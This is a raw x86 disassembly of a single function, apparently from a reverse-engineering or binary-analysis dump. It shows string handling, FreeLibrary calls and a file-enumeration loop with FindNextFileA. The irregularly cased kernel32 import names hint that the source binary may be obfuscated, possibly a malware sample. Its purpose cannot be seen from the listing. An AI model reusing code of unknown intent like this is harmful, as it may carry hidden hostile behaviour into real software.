mov byte [ebp - 0x2a5], 0
mov dword [ebp - 4], 0x48
test bl, 0x40
je 0x443654
and ebx, 0xffffffbf
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x2ac], ebx
call fcn.0044b6d9
cmp byte [ebp - 0x2a5], 0
je 0x443bb4
xor eax, eax
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0xac], eax
mov byte [ebp - 0xbc], al
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0x74]
mov esi, dword [0x486f98]
mov dword [ebp - 0x74], eax
push edi
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], al
call fcn.0044b945
xor eax, eax
mov byte [ebp - 4], 0x4b
mov dword [ebp - 0xec], eax
lea ecx, [ebp - 0xec]
push edi
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xd8], 0xf
mov byte [ebp - 0xec], al
call fcn.0044b945
mov byte [ebp - 4], 0x4c
xor ecx, ecx
mov eax, dword [0x486fd0]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x34], ecx
mov byte [ebp - 0x44], cl
lea ecx, [ebp - 0x44]
push eax
mov dword [ebp - 0x30], 0xf
call fcn.0044b945
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0x74]
mov eax, dword [ebp - 0xdc]
sub eax, dword [ebp - 0x34]
push eax
push 0
lea eax, [ebp - 0xd4]
push eax
call fcn.0044b2f0
mov byte [ebp - 4], 0x4e
cmp dword [eax + 0x14], 0x10
jb 0x44371e
mov eax, dword [eax]
push eax
call esi
pop ecx
lea ecx, [ebp - 0xd4]
mov esi, eax
call fcn.0044b89e
lea ecx, [ebp - 0x44]
call fcn.0044b89e
lea ecx, [ebp - 0xec]
call fcn.0044b89e
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x4a
call fcn.0044b89e
test esi, esi
jne 0x443b7d
xor eax, eax
push 0xf
pop ecx
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], ecx
mov byte [ebp - 0x134], al
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x138], ecx
mov byte [ebp - 0x14c], al
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x108], ecx
mov byte [ebp - 0x11c], al
sub esp, 0x18
mov byte [ebp - 4], 0x51
mov ecx, esp
push edi
call fcn.0044b51b
lea ecx, [ebp - 0x5c]
call fcn.0043f432
lea ecx, [ebp - 0xbc]
add esp, 0x18
cmp ecx, eax
je 0x4437da
mov byte [ebp - 0x2d0], 0
push dword [ebp - 0x2d0]
push eax
call fcn.0044ba6a
lea ecx, [ebp - 0x5c]
call fcn.0044b89e
mov eax, dword [0x486fd0]
push ecx
lea ecx, [ebp - 0xbc]
mov esi, dword [eax + 0x9c]
push esi
call fcn.0044b37c
cmp eax, 0xffffffff
je 0x443b00
push ecx
push esi
lea ecx, [ebp - 0xbc]
call fcn.0044b37c
add eax, 0xc
lea ecx, [ebp - 0xbc]
push eax
push 0
call fcn.0044b8ff
push eax
lea ecx, [ebp - 0xbc]
call fcn.0044b499
push ecx
push 0x47ee00
lea ecx, [ebp - 0xbc]
call fcn.0044b37c
push eax
push 0
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0xbc]
call fcn.0044b2f0
lea ecx, [ebp - 0x134]
cmp ecx, eax
je 0x44386d
mov byte [ebp - 0x2cc], 0
push dword [ebp - 0x2cc]
push eax
call fcn.0044ba6a
lea ecx, [ebp - 0x5c]
call fcn.0044b89e
mov eax, dword [0x486fd0]
push ecx
lea ecx, [ebp - 0xbc]
push dword [eax + 0xa0]
call fcn.0044b37c
add eax, 0x15
lea ecx, [ebp - 0xbc]
push eax
push 0
call fcn.0044b8ff
push eax
lea ecx, [ebp - 0xbc]
call fcn.0044b499
sub esp, 0x18
mov esi, esp
push ecx
push 0x47ee00
lea ecx, [ebp - 0xbc]
call fcn.0044b37c
push eax
push 0
push esi
lea ecx, [ebp - 0xbc]
call fcn.0044b2f0
lea ecx, [ebp - 0x5c]
call fcn.0043fed5
lea ecx, [ebp - 0x14c]
add esp, 0x18
cmp ecx, eax
je 0x4438f6
mov byte [ebp - 0x2c8], 0
push dword [ebp - 0x2c8]
push eax
call fcn.0044ba6a
lea ecx, [ebp - 0x5c]
call fcn.0044b89e
mov eax, dword [0x486fd0]
push ecx
lea ecx, [ebp - 0xbc]
push dword [eax + 0xa4]
call fcn.0044b37c
add eax, 0x15
lea ecx, [ebp - 0xbc]
push eax
push 0
call fcn.0044b8ff
push eax
lea ecx, [ebp - 0xbc]
call fcn.0044b499
sub esp, 0x18
mov esi, esp
push ecx
push 0x47ee00
lea ecx, [ebp - 0xbc]
call fcn.0044b37c
push eax
push 0
push esi
lea ecx, [ebp - 0xbc]
call fcn.0044b2f0
lea ecx, [ebp - 0x5c]
call fcn.0043fed5
lea ecx, [ebp - 0x11c]
add esp, 0x18
cmp ecx, eax
je 0x44397f
mov byte [ebp - 0x300], 0
push dword [ebp - 0x300]
push eax
call fcn.0044ba6a
lea ecx, [ebp - 0x5c]
call fcn.0044b89e
push 0x47a7c4
lea ecx, [ebp - 0x11c]
call fcn.0044cae0
test al, al
jne 0x443ad9
mov edx, dword [0x486fd0]
lea eax, [ebp - 0x134]
push eax
lea ecx, [ebp - 0x104]
mov edx, dword [edx + 0xa8]
call fcn.0044bcbd
mov byte [ebp - 4], 0x52
mov ecx, eax
mov dword [esp], 0x47ee20
call fcn.0044b441
push eax
lea ecx, [ebp - 0x5c]
call fcn.0044b4e8
or ebx, 0x80000
lea eax, [ebp - 0x5c]
mov byte [ebp - 4], 0x53
mov esi, 0x485b10
push eax
mov ecx, esi
call fcn.0044b462
lea ecx, [ebp - 0x5c]
call fcn.0044b89e
lea ecx, [ebp - 0x104]
mov byte [ebp - 4], 0x51
call fcn.0044b89e
mov edx, dword [0x486fd0]
lea eax, [ebp - 0x14c]
push eax
lea ecx, [ebp - 0x104]
mov edx, dword [edx + 0xac]
call fcn.0044bcbd
mov byte [ebp - 4], 0x54
mov ecx, eax
mov dword [esp], 0x47ee20
call fcn.0044b441
push eax
lea ecx, [ebp - 0x5c]
call fcn.0044b4e8
or ebx, 0x100000
lea eax, [ebp - 0x5c]
mov byte [ebp - 4], 0x55
push eax
mov ecx, esi
call fcn.0044b462
lea ecx, [ebp - 0x5c]
call fcn.0044b89e
lea ecx, [ebp - 0x104]
mov byte [ebp - 4], 0x51
call fcn.0044b89e
mov edx, dword [0x486fd0]
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x104]
mov edx, dword [edx + 0xb0]
call fcn.0044bcbd
mov byte [ebp - 4], 0x56
mov ecx, eax
mov dword [esp], str._r_n_r_n
call fcn.0044b441
push eax
lea ecx, [ebp - 0x5c]
call fcn.0044b4e8
or ebx, 0x200000
lea eax, [ebp - 0x5c]
mov byte [ebp - 4], 0x57
push eax
mov ecx, esi
call fcn.0044b462
lea ecx, [ebp - 0x5c]
call fcn.0044b89e
lea ecx, [ebp - 0x104]
mov byte [ebp - 4], 0x51
call fcn.0044b89e
inc dword [0x486fc4]
mov eax, dword [0x486fd0]
push ecx
lea ecx, [ebp - 0xbc]
mov esi, dword [eax + 0x9c]
push esi
call fcn.0044b37c
cmp eax, 0xffffffff
jne 0x443803
mov dword [ebp - 0x2ac], ebx
cmp dword [ebp - 0x120], 0x10
lea eax, [ebp - 0x134]
lea ecx, [ebp - 0x11c]
cmovae eax, dword [ebp - 0x134]
xor ebx, ebx
cmp dword [ebp - 0x138], 0x10
mov dword [ebp - 0x124], ebx
mov dword [ebp - 0x13c], ebx
mov byte [eax], bl
lea eax, [ebp - 0x14c]
cmovae eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x108], 0x10
mov dword [ebp - 0x10c], ebx
mov byte [eax], bl
lea eax, [ebp - 0x11c]
cmovae eax, dword [ebp - 0x11c]
mov byte [eax], bl
call fcn.0044b89e
lea ecx, [ebp - 0x14c]
call fcn.0044b89e
lea ecx, [ebp - 0x134]
mov byte [ebp - 4], 0x4a
call fcn.0044b89e
jmp 0x443b7f
xor ebx, ebx
push dword [0x486fc8]
call dword [sym.imp.kerNeL32.dLL_FreeLibrary]
cmp dword [ebp - 0xa8], 0x10
lea eax, [ebp - 0xbc]
mov dword [ebp - 0xac], ebx
lea ecx, [ebp - 0xbc]
cmovae eax, dword [ebp - 0xbc]
mov byte [eax], bl
call fcn.0044b89e
jmp 0x443bb6
xor ebx, ebx
cmp dword [ebp - 0x78], 0x10
lea eax, [ebp - 0x8c]
mov dword [ebp - 0x7c], ebx
lea ecx, [ebp - 0x8c]
cmovae eax, dword [ebp - 0x8c]
mov byte [eax], bl
call fcn.0044b89e
cmp dword [ebp - 0x90], 0x10
lea eax, [ebp - 0xa4]
mov dword [ebp - 0x94], ebx
cmovae eax, dword [ebp - 0xa4]
mov byte [eax], bl
lea eax, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0x10
mov dword [ebp - 0x1c], ebx
cmovae eax, dword [ebp - 0x2c]
mov byte [eax], bl
jmp 0x44332b
xor ebx, ebx
lea eax, [ebp - 0x2a4]
push eax
push dword [ebp - 0x2c4]
call dword [sym.imp.kerNeL32.dLL_FindNextFileA]
test eax, eax
jne 0x442654
lea ecx, [ebp - 0x2c]
call fcn.0044b89e
lea ecx, [ebp + 8]
call fcn.0044b89e
lea ecx, [ebp + 0x20]
call fcn.0044b89e
call fcn.0046bb29
ret